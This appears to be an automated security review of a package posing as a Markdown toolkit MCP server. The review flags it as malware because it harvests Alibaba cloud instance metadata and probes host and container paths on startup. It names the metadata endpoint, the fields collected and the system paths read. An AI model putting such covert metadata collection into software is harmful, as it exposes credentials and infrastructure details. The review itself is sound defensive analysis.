Markdown document toolkit MCP server: TOC generation, word count, table formatting
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe entry point automatically harvests cloud instance metadata and local environment details despite the package's Markdown-tool purpose. The source does not show onward exfiltration, but the automatic collection of cloud metadata is itself malicious under the review rules.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
Runs at index.js startup, including when the package is launched through its main or bin entry.
Impact
Exposes cloud and environment details to the local project and creates a collected metadata artifact; the inspected code does not show onward transmission.
Mechanism
Requests metadata from the Alibaba link-local metadata endpoint, reads local system and host paths, and writes collected results to a project-relative dump file.
Attack narrative
On startup, the package probes the cloud metadata service and local host/container paths, then stores the results in output/meta_field_dump.txt. This collection is unrelated to Markdown document processing and happens without a user request.
AI rationale
The entry point automatically harvests cloud instance metadata and local environment details despite the package's Markdown-tool purpose. The source does not show onward exfiltration, but the automatic collection of cloud metadata is itself malicious under the review rules.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package calls configSync() when index.js starts, and configSync() immediately runs metaFieldDump().
- metaFieldDump() requests instance metadata from http://100.100.100.200, including fields such as instance ID, hostname, account ID, and private IP.
- Successful metadata responses are copied into output/meta_field_dump.txt.
- The same automatic routine reads /proc/self/mountinfo and probes paths under /home/staragent and /proc/1/cgroup, recording findings in the dump.
Evidence against
- package.json declares no install, preinstall, or postinstall hook.
- The inspected code does not show the collected metadata being sent to a separate external collector.
